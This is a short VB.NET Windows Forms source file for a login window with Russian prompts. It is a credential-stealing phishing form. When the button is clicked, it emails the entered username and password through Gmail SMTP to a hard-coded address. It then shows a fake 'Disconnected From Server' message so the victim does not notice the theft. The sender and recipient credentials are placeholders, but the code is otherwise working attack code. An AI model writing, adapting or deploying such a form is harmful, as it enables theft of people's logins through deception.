Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Введите логин")
            If TextBox2.Text = "" Then
                MsgBox("Введите пароль")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("gmail", "Пароль")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("gmail")
        mail.To.Add("gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        End
    End Sub
End Class